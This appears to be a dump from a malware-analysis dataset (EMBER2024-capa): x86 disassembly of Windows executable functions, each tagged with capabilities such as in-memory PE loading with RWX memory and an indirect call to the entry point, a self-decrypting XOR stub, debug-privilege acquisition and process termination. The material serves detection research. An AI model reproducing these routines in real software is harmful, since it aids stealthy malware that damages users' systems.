joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d6b48
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov al, byte [eax]
dec al
je 0x4d6b7b
dec al
je 0x4d6bb7
dec al
je 0x4d6bfb
dec al
je 0x4d6c6c
jmp 0x4d6cfa
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x4d6cfa
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
mov dl, byte [ecx + edx]
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x4d6b8b
jmp 0x4d6cfa
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x4d6cfa
mov esi, 1
mov al, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov dl, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x4d6bc7
jmp 0x4d6cfa
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x4d6cfa
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jae 0x4d6c2a
xor edx, edx
mov dword [ebp - 8], edx
jmp 0x4d6c3f
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
mov dword [ebp - 8], edx
add eax, dword [ebp - 8]
sar eax, 1
jns 0x4d6c49
adc eax, 0
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x4d6c0b
jmp 0x4d6cfa
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0xc], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x4d6cfa
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x4d6cc8
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
mov dword [ebp - 8], edx
mov dl, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [ebp - 0xc], edx
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [ebp - 4], edx
mov cl, byte [ebp - 0xc]
push eax
mov al, byte [ebp - 8]
pop edx
call fcn.004d3f80
add al, byte [ebp - 4]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x4d6c82
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4da870
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x4da936
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
add eax, ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_LoadLibraryA
mov edi, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x10]
add eax, ebx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
jne 0x4da925
mov eax, dword [ebp - 4]
mov eax, dword [eax]
add eax, ebx
mov dword [ebp - 8], eax
jmp 0x4da925
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4da91d
mov eax, dword [ebp - 8]
mov esi, dword [eax]
test esi, 0x80000000
je 0x4da8f9
and esi, 0xffff
push esi
push edi
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
jmp 0x4da90a
add esi, ebx
add esi, 2
push esi
push edi
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x14]
push eax
push 4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtect
add dword [ebp - 8], 4
add dword [ebp - 0xc], 4
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x4da8c3
mov eax, dword [ebp - 4]
add eax, 0x14
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x4da94c
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
jne 0x4da887
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4da958
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov esi, eax
xor edi, edi
mov dword [ebp - 8], esi
push 0x40
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x4daadb
mov eax, dword [ebp - 8]
cmp word [eax], 0x5a4d
jne 0x4daadb
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
add eax, esi
mov dword [ebp - 0xc], eax
push 0xf8
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x4daadb
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0x4550
jne 0x4daadb
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
add eax, 0xf8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax + 0x50]
test ebx, ebx
je 0x4daadb
push 0x40
push 0x3000
mov eax, dword [ebp - 0x14]
add eax, ebx
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4daadb
mov eax, dword [ebp - 0xc]
movzx edi, word [eax + 6]
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 8]
mov eax, edi
shl eax, 3
lea eax, [eax + eax*4]
add ecx, eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
call fcn.00407c68
mov ecx, dword [ebp - 0x14]
dec ecx
mov eax, dword [ebp - 0x18]
add eax, ebx
xor edx, edx
call fcn.00407c68
mov ebx, edi
dec ebx
test ebx, ebx
jl 0x4daa5a
inc ebx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0x14]
add edx, esi
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x18]
call fcn.00407c68
mov eax, dword [ebp - 0x10]
add eax, 0x28
mov dword [ebp - 0x10], eax
dec ebx
jne 0x4daa32
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xa0]
test eax, eax
je 0x4daa84
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0xa4]
push edx
mov ecx, eax
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x18]
call fcn.004da7d8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.004da870
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [ebp - 0x18]
add ecx, edx
mov dword [ebp - 4], ecx
test eax, eax
je 0x4daad8
xor eax, eax
push ebp
push 0x4daace
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
push edx
call dword [ebp - 4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4daad8
mov edi, dword [ebp - 0x18]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4daae4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, eax
xor ebx, ebx
test edi, edi
je 0x4dab33
mov esi, edi
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
cmp word [eax], 0x5a4d
jne 0x4dab33
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
jne 0x4dab33
push 0x4000
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x50]
push eax
push esi
call sub.kernel32.dll_VirtualFree_1
test eax, eax
je 0x4dab33
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4e3388
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
mov byte [ebp - 1], al
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x4e3403
mov dword [ebp - 0x1c], 1
lea eax, [ebp - 0x18]
push eax
push 0x4e340c
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp byte [ebp - 1], 0
je 0x4e33cf
mov dword [ebp - 0x10], 2
jmp 0x4e33d4
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x10
lea eax, [ebp - 0x1c]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
sete bl
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e39f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fcc
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4e3b58
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 2
call fcn.004e328c
mov esi, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, esi
call fcn.004e32ac
mov ebx, eax
jmp 0x4e3b2a
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404d8c
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409e14
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408fb4
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408fb4
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404f28
je 0x4e3b0a
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404d8c
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408fb4
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408fb4
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404f28
jne 0x4e3b1f
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov edx, edi
mov eax, esi
call fcn.004e32cc
mov ebx, eax
test ebx, ebx
jne 0x4e3a6b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3b5f
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404b40
lea eax, [ebp - 4]
call fcn.00404b1c
ret
Function at 0x4e3b68
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdac
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x254], edx
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x248], edx
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4e3de3
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 0x230], 0x224
mov edx, eax
mov eax, 8
call fcn.004e328c
mov dword [ebp - 4], eax
lea edx, [ebp - 0x230]
mov eax, dword [ebp - 4]
call fcn.004e32ec
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
jmp 0x4e3daa
mov eax, dword [0x4f28c0]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x4e3d93
inc ebx
xor esi, esi
lea ecx, [ebp - 0xc]
mov eax, dword [0x4f28c0]
mov eax, dword [eax]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea edx, [ebp - 0x234]
mov eax, 0x4e3dfc
call fcn.00409004
mov eax, dword [ebp - 0x234]
push eax
lea eax, [ebp - 0x23c]
lea edx, [ebp - 0x210]
mov ecx, pe_nt_image_headers32
call fcn.00404d8c
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x238]
call fcn.00409004
mov edx, dword [ebp - 0x238]
pop eax
call fcn.00404f28
jne 0x4e3ca3
mov eax, dword [ebp - 0x228]
cmp eax, dword [0x4f486c]
je 0x4e3ca3
lea eax, [ebp - 0x240]
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.00404d8c
mov edx, dword [ebp - 0x240]
mov eax, dword [ebp - 0x228]
call fcn.004e3520
jmp 0x4e3dbd
lea edx, [ebp - 0x244]
mov eax, dword [ebp - 0xc]
call fcn.00409004
mov eax, dword [ebp - 0x244]
push eax
lea eax, [ebp - 0x24c]
lea edx, [ebp - 0x210]
mov ecx, pe_nt_image_headers32
call fcn.00404d8c
mov eax, dword [ebp - 0x24c]
lea edx, [ebp - 0x248]
call fcn.00409004
mov edx, dword [ebp - 0x248]
pop eax
call fcn.00404f28
jne 0x4e3d8b
cmp dword [0x4f4864], 0
je 0x4e3d07
push 0
mov eax, dword [0x4f4864]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [0x4f2598]
mov eax, dword [eax]
mov eax, dword [eax + 0x354]
xor edx, edx
call fcn.004308d4
mov eax, dword [0x4f2404]
mov eax, dword [eax]
call fcn.004e39f0
push 0x30
lea eax, [ebp - 0x254]
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.00404d8c
mov ecx, dword [ebp - 0x254]
lea eax, [ebp - 0x250]
mov edx, 0x4e3e10
call fcn.00404e28
mov eax, dword [ebp - 0x250]
call fcn.00404fdc
mov edx, eax
mov ecx, 0x4e3e74
mov eax, dword [0x4f2758]
mov eax, dword [eax]
call fcn.004688fc
mov eax, dword [0x4f2404]
mov eax, dword [eax]
call fcn.004e39f0
mov eax, dword [0x4f2758]
mov eax, dword [eax]
call fcn.00468858
inc esi
dec ebx
jne 0x4e3c0c
lea edx, [ebp - 0x230]
mov eax, dword [ebp - 4]
call fcn.004e330c
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
jne 0x4e3bf2
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3dea
lea eax, [ebp - 0x254]
mov edx, 9
call fcn.00404b40
lea eax, [ebp - 0xc]
call fcn.00404b1c
ret
Function at 0x4e4498
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 7
push 0
lea eax, [ebp - 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
jne 0x4e44b7
xor eax, eax
pop ecx
pop ebp
ret
mov al, 1
pop ecx
pop ebp
ret

Function at 0x4e6398
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd44
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fcc
xor eax, eax
push ebp
push 0x4e64c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404b1c
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x4e64a4
push dword fs:[edx]
mov dword fs:[edx], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x29c]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x29c]
mov edx, dword [ebp - 4]
call fcn.0040a004
lea eax, [ebp - 0x29c]
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4e6491
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4e6491
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4e6491
push ebx
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
mov dword [ebp - 0x2bc], eax
mov byte [ebp - 0x2b8], 0
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + 1]
mov dword [ebp - 0x2b4], eax
mov byte [ebp - 0x2b0], 0
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + 2]
mov dword [ebp - 0x2ac], eax
mov byte [ebp - 0x2a8], 0
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + 3]
mov dword [ebp - 0x2a4], eax
mov byte [ebp - 0x2a0], 0
lea edx, [ebp - 0x2bc]
mov ecx, 3
mov eax, 0x4e64d8
call fcn.0040a68c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e64ab
call sub.wsock32.dll_WSACleanup
ret
Function at 0x4e6730
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd44
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fcc
xor eax, eax
push ebp
push 0x4e6859
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404b1c
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x4e683c
push dword fs:[edx]
mov dword fs:[edx], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x29c]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x29c]
mov edx, dword [ebp - 4]
call fcn.0040a004
lea eax, [ebp - 0x29c]
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4e6829
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4e6829
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4e6829
push ebx
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
mov dword [ebp - 0x2bc], eax
mov byte [ebp - 0x2b8], 0
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + 1]
mov dword [ebp - 0x2b4], eax
mov byte [ebp - 0x2b0], 0
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + 2]
mov dword [ebp - 0x2ac], eax
mov byte [ebp - 0x2a8], 0
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + 3]
mov dword [ebp - 0x2a4], eax
mov byte [ebp - 0x2a0], 0
lea edx, [ebp - 0x2bc]
mov ecx, 3
mov eax, 0x4e6870
call fcn.0040a68c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e6843
call sub.wsock32.dll_WSACleanup
ret

Function at 0x4e9330
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 7
push 0
lea eax, [ebp - 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
jne 0x4e934f
xor eax, eax
pop ecx
pop ebp
ret
mov al, 1
pop ecx
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001043
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
mov esi, ecx
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
je 0x10001060
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
xor eax, eax
jmp 0x100010d2
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100010aa
xor edi, edi
mov dword [esi + 0x100], edi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [esi + 0x104], edi
jne 0x100010cf
lea eax, [ebp + 8]
push eax
push edi
push esi
push 0x10001018
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
mov dword [esi + 0x104], eax
jne 0x100010cf
or eax, 0xffffffff
jmp 0x100010d2
mov eax, dword [esi + 0x100]
cmp eax, 0xffffffff
jne 0x100010b9
or edi, eax
jmp 0x100010c4
xor edi, edi
cmp eax, edi
je 0x10001076
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov ecx, esi
call fcn.100010d8
mov eax, edi
jmp 0x100010d2
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
ret 8

Function at 0x1000119d
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
inc edi
mov esi, ecx
push edi
call fcn.100015d2
mov ax, word [ebp + 0xc]
push 0
push edi
push 2
mov word [esi + 4], ax
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x100011db
mov dword [esi + 0x144], 0x10005010
and dword [esi + 0x140], 0
jmp 0x1000124a
lea ecx, [ebp - 4]
mov dword [ebp - 4], edi
push ecx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
push 0xff
lea edi, [esi + 0x38]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
and byte [esi + 0x137], 0
lea ebx, [esi + 0x28]
push 0x10
push 0
push ebx
call fcn.100031f7
add esp, 0xc
cmp byte [edi], 0
jne 0x10001227
mov dword [esi + 0x144], str.empty_hostname
jmp 0x100011d2
push 2
pop eax
push dword [ebp + 0xc]
mov dword [esi + 0x140], eax
mov word [ebx], ax
call sub.WS2_32.dll_htons
push dword [ebp + 8]
mov word [esi + 0x2a], ax
call sub.WS2_32.dll_inet_addr
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40f7bb
Capabilities:
Authenticate hmac
Inspect section memory permissions
Terminate process

Disassembly:
mov esi, dword [ebp - 0x19c]
mov ebx, dword [esi + 0x20]
mov dword [ebp - 0x194], ebx
mov edi, ebx
cmp dword [edi + 0x14], 0
jne 0x40f7db
mov edi, esi
mov al, 1
mov byte [edi + 0x26], al
jmp 0x40f813
mov edi, esi
mov al, 0
mov byte [edi + 0x26], al
mov esi, ebx
mov eax, dword [esi + 0x14]
mov dword [edi + 0x20], eax
mov esi, edi
mov ebx, dword [esi + 0x20]
mov dword [ebp - 0x194], ebx
cmp byte [edi + 0x25], 0
jne 0x40f805
Function at 0x412a2e
Capabilities:
Inspect section memory permissions
Terminate process

Disassembly:
mov edi, dword [ebp - 0x19c]
mov al, 0
mov byte [edi + 0x26], al
sub ecx, ecx
mov dword [edi + 0x20], ecx
mov word [edi + 0xc], cx
mov esi, dword [ebp - 0x1d0]
mov ebx, dword [esi + 0xc]
mov dword [ebp - 0x1b4], ebx
mov edi, dword [ebp - 0x1b4]
cmp byte [edi], 0
je 0x412a87
mov esi, edi
movzx ebx, word [esi + 1]
xchg bl, bh
shl ebx, 8
mov bl, byte [esi + 3]
mov edi, dword [ebp - 0x19c]
mov edx, dword [edi + 0x20]
add edx, ebx
mov dword [edi + 0x20], edx
inc word [edi + 0xc]
mov ebx, dword [esi + 4]
mov dword [ebp - 0x1b4], ebx
jmp 0x412a51
mov ax, 1
mov word [0x418a7e], ax
movsx ebx, word [0x418a7e]
mov edi, dword [ebp - 0x1d0]
movzx edx, word [edi + 4]
cmp edx, ebx
jl 0x412ae9
movsx edi, word [0x418a7e]
dec edi
cmp edi, 0xffe
jbe 0x412ac5
mov eax, 0x4156c8
mov ecx, 0x11f9
call fcn.00414a46
mov ecx, dword [ebp - 0x1d0]
add edi, ecx
cmp byte [edi + 0x20], 0
jne 0x412ae0
mov edi, dword [ebp - 0x19c]
add dword [edi + 0x20], 0x1000
inc word [0x418a7e]
jmp 0x412a91
mov edi, dword [ebp - 0x1d8]
cmp byte [edi + 0x7b], 1
jne 0x412b21
mov al, 0x85
mov byte [0x418a89], al
mov ax, 0x4f0
mov word [0x418a8a], ax
mov esi, dword [ebp - 0x19c]
mov eax, dword [esi + 0x20]
mov dword [0x418a98], eax
mov eax, dword [esi + 0x24]
mov dword [0x418a9c], eax
call fcn.0040b4e5
cmp dword [esp + 4], 0xffffffaf
jne fcn.00412b2b
ret 4

Function at 0x412b2b
Capabilities:
Inspect section memory permissions
Terminate process

Disassembly:
mov esi, dword [ebp - 0x1c8]
add esi, 0x9c
mov dword [0x423dbc], esi
mov ebx, esi
mov dword [ebp - 0x130], ebx
mov edi, dword [ebp - 0x130]
cmp dword [edi + 4], 0
je 0x412b96
mov esi, edi
mov ebx, dword [esi + 4]
mov dword [ebp - 0x130], ebx
mov edi, ebx
cmp byte [edi], 0xb5
jne 0x412b45
cmp dword [edi + 0xc], 0
je 0x412b45
cmp dword [edi + 8], 0
je 0x412b45
mov esi, edi
mov eax, dword [esi + 0xc]
mov dword [0x418ec8], eax
mov esi, edi
mov eax, dword [esi + 8]
mov dword [0x418ecc], eax
call fcn.0040b196
mov edi, dword [ebp - 0x130]
sub ecx, ecx
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
cmp dword [esp + 4], 0xffffffb0
jne fcn.00412ba0
ret 4

Function at 0x412ba0
Capabilities:
Inspect section memory permissions
Terminate process

Disassembly:
cmp dword [esp + 4], 0xffffffb1
jne fcn.00412baa
ret 4